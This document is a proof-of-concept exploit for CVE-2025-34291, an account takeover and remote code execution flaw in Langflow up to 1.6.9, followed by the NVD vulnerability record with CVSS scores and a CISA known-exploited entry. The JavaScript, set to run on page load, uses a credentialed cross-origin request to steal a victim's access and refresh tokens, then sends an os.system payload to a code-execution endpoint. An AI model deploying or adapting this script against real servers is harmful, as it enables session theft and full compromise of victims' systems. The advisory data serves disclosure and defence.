CVE-2025-34291

// CVE-2025-34291 PoC - Account Takeover via CORS Misconfiguration // Target: Langflow <= 1.6.9 const TARGET_URL = 'https://target-langflow-server.com'; async function exploitCORS() { console.log('[+] Starting CVE-2025-34291 exploitation...'); // Step 1: Attempt to refresh token via cross-origin request const refreshEndpoint = `${TARGET_URL}/api/v1/auth/refresh`; try { const response = await fetch(refreshEndpoint, { method: 'POST', mode: 'cors', credentials: 'include', headers: { 'Content-Type': 'application/json' } }); if (response.ok) { const tokens = await response.json(); console.log('[+] Successfully obtained tokens:', tokens); // Step 2: Use access_token to access authenticated endpoints const accessToken = tokens.access_token; // Step 3: Execute arbitrary code via Langflow API const codeExecPayload = { 'flow_id': 'malicious_flow', 'code': 'import os; os.system("whoami > /tmp/pwned")', 'language': 'python' }; const execResponse = await fetch(`${TARGET_URL}/api/v1/execute`, { method: 'POST', mode: 'cors', credentials: 'include', headers: { 'Authorization': `Bearer ${accessToken}`, 'Content-Type': 'application/json' }, body: JSON.stringify(codeExecPayload) }); console.log('[+] Code execution response:', await execResponse.json()); } } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Trigger exploitation when page loads window.onload = exploitCORS;

{"cve": {"id": "CVE-2025-34291", "sourceIdentifier": "[email protected]", "published": "2025-12-05T23:15:47.433", "lastModified": "2026-05-21T20:16:13.520", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow versions up to and including 1.6.9 contain a chained vulnerability that enables account takeover and remote code execution. An overly permissive CORS configuration (allow_origins='*' with allow_credentials=True) combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. An attacker-controlled origin can therefore obtain fresh access_token / refresh_token pairs for a victim session. Obtained tokens permit access to authenticated endpoints — including built-in code-execution functionality — allowing the attacker to execute arbitrary code and achieve full system compromise."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-05-21", "cisaActionDue": "2026-06-04", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Langflow Origin Validation Error Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.6.9", "matchCriteriaId": "1D74DC53-9772-4172-822E-3E29E5A4DDC9"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.obsidiansecurity.com/blog/cve-2025-34291-critical-account-takeover-and-rce-vulnerability-in-the-langflow-ai-agent-workflow-platform", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/langflow-cors-misconfiguration-to-token-hijack-and-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-34291", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://www.crowdsec.net/vulntracking-report/cve-2025-34291", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}